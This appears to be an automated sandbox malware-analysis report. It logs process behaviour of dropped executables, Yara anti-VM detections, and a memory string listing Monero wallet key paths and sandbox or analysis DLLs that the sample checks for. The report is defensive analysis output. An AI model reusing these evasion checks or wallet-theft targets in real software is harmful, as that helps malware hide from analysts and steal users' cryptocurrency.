Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\BFIIEHJDBK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\BFIIEHJDBK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\BFIIEHJDBK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\BFIIEHJDBK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\BFIIEHJDBK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\BFIIEHJDBK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\BFIIEHJDBK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\BFIIEHJDBK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\BFIIEHJDBK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\BFIIEHJDBK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\BFIIEHJDBK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\BFIIEHJDBK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\BFIIEHJDBK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\BFIIEHJDBK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\BFIIEHJDBK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: 3.2.RegAsm.exe.400000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.4295570.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.RegAsm.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.4295570.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2072601373.0000000004295000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6616, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 5464, type: MEMORYSTR

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: RegAsm.exe	Binary or memory string: DIR_WATCH.DLL
Source: RegAsm.exe, 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: INMPM20IXQUGN9:-?5(\C!7%{->^WALLET_PATHSOFTWARE\MONERO-PROJECT\MONERO-CORE.KEYS\MONERO\WALLET.KEYS\\\.\\...\\\\\\\\\\\\HAL9THJOHNDOEDISPLAYAVGHOOKX.DLLAVGHOOKA.DLLSNXHK.DLLSBIEDLL.DLLAPI_LOG.DLLDIR_WATCH.DLLPSTOREC.DLLVMCHECK.DLLWPESPY.DLLCMDVRT32.DLLCMDVRT64.DLL18:44:1918:44:1918:44:1918:44:1918:44:1918:44:19DELAYS.TMP%S%SNTDLL.DLL
Source: RegAsm.exe	Binary or memory string: SBIEDLL.DLL
Source: RegAsm.exe	Binary or memory string: API_LOG.DLL

Source: C:\Users\user\Desktop\file.exe	Memory allocated: 17E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory allocated: 3290000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory allocated: 5290000 memory reserve \| memory write watch	Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe	Memory allocated: 2590000 memory reserve \| memory write watch	Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe	Memory allocated: 26F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe	Memory allocated: 46F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Memory allocated: 11E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Memory allocated: 2E80000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Memory allocated: 1400000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe	Memory allocated: 2C70000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe	Memory allocated: 2D40000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe	Memory allocated: 2C70000 memory reserve \| memory write watch
Source: C:\ProgramData\BFIIEHJDBK.exe	Memory allocated: C80000 memory reserve \| memory write watch
Source: C:\ProgramData\BFIIEHJDBK.exe	Memory allocated: 2770000 memory reserve \| memory write watch
Source: C:\ProgramData\BFIIEHJDBK.exe	Memory allocated: 24A0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Memory allocated: 7E0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Memory allocated: 2260000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Memory allocated: 4260000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Memory allocated: 2870000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Memory allocated: 2A40000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Memory allocated: 4B40000 memory reserve \| memory write watch

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: OpenInputDesktop,SetThreadDesktop,GetCursorPos,GetCursorPos,Sleep,Sleep,GetCursorPos,Sleep,Sleep,GetCursorPos,

3_2_0040180D

Source: C:\Users\user\Desktop\file.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 596688	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 596479	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 596203	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 596046	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 595883	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 595688	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 595485	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 595319	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 595078	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 594591	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 594394	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 594125	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 593937	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 593758	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 593582	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 593391	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 593246	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 593047	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 592828	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 592547	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 592116	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 591922	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 591750	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 591516	Jump to behavior
